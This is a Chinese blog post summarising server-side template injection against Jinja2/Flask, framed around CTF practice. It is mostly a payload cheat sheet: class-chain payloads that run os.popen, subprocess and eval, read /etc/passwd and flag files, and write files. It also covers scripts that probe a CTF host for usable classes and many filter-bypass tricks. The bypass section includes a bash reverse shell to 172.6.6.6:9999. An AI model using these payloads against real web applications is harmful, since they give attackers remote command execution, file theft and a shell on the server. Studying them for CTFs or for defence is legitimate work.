SSTI模板注入总结

叁歲伎倆 2022-12-16 09:09 171阅读 0赞

# SSTI模板注入 #

## 一.基础学习 ##

`原理：`获取一个输入，然后再后端的渲染处理上进行语句的拼接，然后执行。(即典型漏洞存在于框架中的渲染函数生成html时)  
`典型针对网站模板引擎：`  
Python的jinja2 mako tornado django flask  
Python的jinja2 mako tornado django flask  
`模板引擎：`即引擎中具有一套生成html的程序,只需获取用户的数据,然后放在渲染函数中即可生成一个前端的html页面

## 常见模板 ##

## jinja2–>3个语言含义 ##

控制结构 { % %}
    变量取值 { {  }}
    注释 { # #}

## python ##

基础类执行

__class__返回调用的参数类型。
    __base__返回基类
    __mro__允许我们在当前Python环境下追溯继承树
    __subclasses__()返回子类

常见的基础调用类函数执行

>>> ''.__class__.__base__.__subclasses__()
    # 返回子类的列表 [,,,...]
    #从中随便选一个类,查看它的__init__
    >>> ''.__class__.__base__.__subclasses__()[30].__init__
    <slot wrapper '__init__' of 'object' objects>
    # wrapper是指这些函数并没有被重载，这时他们并不是function，不具有__globals__属性
    #再换几个子类，很快就能找到一个重载过__init__的类，比如
    >>> ''.__class__.__base__.__subclasses__()[5].__init__
    >>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
    #然后用eval执行命令即可

`分析学习：`  
`常用方法`

## 1.获取基类 ##

//获取基本类
    ```bash
    { { [].__class__}}

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70]

页面回显 <type ‘list’>

‘’.**class**.**mro**\[1\]  
\{\}.**class**.**bases**\[0\]  
().**class**.**bases**\[0\]  
\[\].**class**.**bases**\[0\]  
页面回显 <type ‘object’>

## 2.获取所有继承自object的类与权限配置文件类 ##

1.)获取所有类

''.__class__.__mro__[2].__subclasses__()

2.)获取config对象与request对象类

{ { url_for.__globals__}}
    { { config}}#即查看权限
    { {  config.SQLALCHEMY_DATABASE_URI }}

url请求的配置文件类

{ {  request.url }}

<table> 
 <thead> 
  <tr> 
   <th>属性</th> 
   <th>说明</th> 
   <th>类型</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>data</td> 
   <td>记录请求的数据，并转换为字符串</td> 
   <td>*</td> 
  </tr> 
  <tr> 
   <td>form</td> 
   <td>记录请求中的表单数据</td> 
   <td>MultiDict</td> 
  </tr> 
  <tr> 
   <td>args</td> 
   <td>记录请求中的查询参数</td> 
   <td>MultiDict</td> 
  </tr> 
  <tr> 
   <td>cookies</td> 
   <td>记录请求中的cookie信息</td> 
   <td>Dict</td> 
  </tr> 
  <tr> 
   <td>headers</td> 
   <td>记录请求中的报文头</td> 
   <td>EnvironHeaders</td> 
  </tr> 
  <tr> 
   <td>method</td> 
   <td>记录请求使用的HTTP方法</td> 
   <td>GET/POST</td> 
  </tr> 
  <tr> 
   <td>url</td> 
   <td>记录请求的URL地址</td> 
   <td>string</td> 
  </tr> 
  <tr> 
   <td>files</td> 
   <td>记录请求上传的文件</td> 
   <td>*</td> 
  </tr> 
 </tbody> 
</table>

## 3.寻找可利用类的位置 ##

利用代码寻找

#!/usr/bin/python3
    # coding=utf-8
    # python 3.5
    from flask import Flask
    from jinja2 import Template
    # Some of special names
    searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
    neededFunction = ['eval', 'open', 'exec']
    pay = int(input("Payload?[1|0]"))
    for index, i in enumerate({ }.__class__.__base__.__subclasses__()):
        for attr in searchList:
            if hasattr(i, attr):
                if eval('str(i.'+attr+')[1:9]') == 'function':
                    for goal in neededFunction:
                        if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                            if pay != 1:
                                print(i.__name__,":", attr, goal)
                            else:
                                print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{ { c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

#如找subprocess.Popen模块所在位置
    import requests
    import time
    import html
    
    for i in range(1, 500):
        url = "http://51d49043-d919-40c5-a17a-ae90387c6a3e.node3.buuoj.cn/?search={ {''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"
        req = requests.get(url)
        time.sleep(0.1)
        # 这里是找subprocess.Popen
        if "subprocess.Popen" in html.escape(req.text):
            print(i)
            print(html.unescape(req.text))
            break

找os

#!/usr/bin/env python
    # encoding: utf-8
    
    num = 0
    for item in ''.__class__.__mro__[2].__subclasses__():
        try:
             if 'os' in item.__init__.__globals__:
                 print num,item
             num+=1
        except:
            print '-'
            num+=1

如  
即下面调用site.\_Printer模块即使用71这个位置  
![在这里插入图片描述][20201223144005282.png]

import re
    string = '''(回显中所有类)'''
        
    ClassList = re.split(",", string)
    
    for i in range(0, len(ClassList)):
        print(i, ClassList[i])
        if 'os._wrap_close' in ClassList[i]:
            print(i)
            break

## 4.利用调用执行命令 ##

`python2`  
1.)读取文件类，<type ‘file’>  
file位置一般为40，直接调用

[].__class__.__base__.__subclasses__()[40]('fl4g').read()#fl4g为文件名称

2.)<class ‘site.\_Printer’>  
调用os的popen执行命令

{ { [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
    [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
    [].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()

如果system被过滤，用os的listdir读取目录+file模块读取文件：

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

3.）<class ‘subprocess.Popen’>  
位置一般为258

{ { ''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
    { { ''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
    { { ''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

4.)<class ‘warnings.catch\_warnings’>  
一般位置为59，可以用它来调用file、os、eval、commands等

#调用file
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()      #把 read() 改为 write() 就是写文件
    #读文件
    ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
    object.__subclasses__()[40](r'C:\1.php').read()
    #写文件
    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    
    #调用eval
    [].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
    #调用system方法
    >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
    root
    0
    #调用commands进行命令执行
    { }.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

## `python3` ##

#读取文件与写文件类
    { { ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
    #执行命令
    { { ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
    #命令执行：
    { % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ {  c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{ % endif %}{ % endfor %}
    #文件操作
    { % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ {  c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{ % endif %}{ % endfor %}

## 二.payload总结 ##

[常见payload][payload]

## 三.常见绕过 ##

# 1.waf绕过payload #

甩几个test payload  
有时候看不到回显。可以在源代码里看到回显  
即利用eval,impoer等全局函数  
\[\].class.bases\[0\].subclasses()\[59\].init.globals.\_\_builtins\_\_下有eval，\_\_import\_\_等全局函数执行命令

python2：
    [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
    [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
    "".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
    "".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
    "".__class__.__mro__[-1].__subclasses__()[40](filename).read()
    "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
    
    python3：
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
    "".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
    ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

## 2.单个绕过类 ##

①绕过字符与典型函数类  
1.)过滤\[\]

#绕过方法1:__getitem__绕中括号限制
    #即将mro_[2]等价于__getitem__(2)即可
    ''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
        { }.__class__.__bases__.__getitem__(0)<->等价于{ }.__class__.__bases__.__getitem__(0)
        ().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
        request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
    #绕过方法2:利用pop(40)绕
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    #使用 .getlist()方法绕
    blacklist = ["__","request[request.","__class__",'[',']']
    { { request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

2.)过滤\_

blacklist = ["_"]
        #绕过方法利用request.args.<param>绕
    /?exploit={ { request[request.args.pa]}}&pa=**class**

3.)过滤’request\[request.’

blacklist = ["__","request[request."]
    #绕过方法：
    request | attr(request.args.a)等价于request["a"]
    #利用payload
    ?exploit={ { request|attr(request.args.pa)}}&pa=**class**

4.)过滤\_class\_

blacklist = ["__","request[request.","__class__"]
    #绕过方法：管道+join方法，可以进行字符串的拼接操作
    ["a","b","c"]|join等价于abc.
    exploit={ { request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
    即等价于
    { { __class__}}

5.)绕过"|join"

blacklist = ["__","request[request.","__class__",'[',']',"|join"]
    /?exploit={ { request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

6.)绕过.方法

#若.也被过滤，使用原生jinja2函数|attr()
    request.__class__<-->request|attr("__class__")

7.)绕\{ \{

#方法:{% if ... %}1{% endif %}
    { % if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('') %}1{ % endif %}

②过滤关键字类

绕过滤config、request以及class  
1.)拼接绕

{ {  session['__cla'+'ss__'] }}<-->{ { session['__class__']}}

2.)利用\_\_enter\_\_方法绕（python3中）

{ {  session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /etc/passwd').read() }}

[典型绕过思路][Link 1]

## 二 .绕组合 ##

1.)绕’ “” \_  
利用request.args.x绕\_\_过滤  
利用request.args.x绕""

{ { ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
    &x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
    X-Forwarded-For:{ { ()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}

2.)同时绕下划线、与中括号

#同时
    { { ()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
    post:
    name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

## 三.特殊读取文件姿势 ##

读取配置文件

{ { url_for.__globals__['current_app'].config.FLAG}}
    
    { { get_flashed_messages.__globals__['current_app'].config.FLAG}}
    
    { { request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
    #利用self姿势
    { { self}} ⇒ <TemplateReference None>
    { { self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
    { { self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

# 四.典型ctf题目与工具 #

[header处ssti][header_ssti]  
[2018护网杯][2018]

思路:读取配置文件代类思路

[MiniLCTF\_2020,x-forward-for处ssti][MiniLCTF_2020_x-forward-for_ssti]  
[一篇不错的flask分析文章][flask]  
`常用工具`  
SSTI神器–Tplmap

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzMzOTQyMDQw_size_16_color_FFFFFF_t_70]: /images/20221123/9179cf97e9e8483e851cd9a5a380d4a1.png
[20201223144005282.png]: /images/20221123/7fa209d3d9724a31b7938c341ea0aa91.png
[payload]: https://blog.csdn.net/qq_44657899/article/details/104307948?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-7&spm=1001.2101.3001.4242
[Link 1]: https://www.jianshu.com/p/a736e39c3510
[header_ssti]: https://www.77169.net/html/269155.html
[2018]: https://www.it610.com/article/1290998208129998848.htm
[MiniLCTF_2020_x-forward-for_ssti]: https://github.com/XDSEC/MiniLCTF_2020
[flask]: https://evi0s.com/2018/11/26/%E6%B7%B1%E5%85%A5ssti-%E4%BB%8Enctf2018%E4%B8%A4%E9%81%93flask%E7%9C%8Bbypass%E6%96%B0%E5%A7%BF%E5%8A%BF/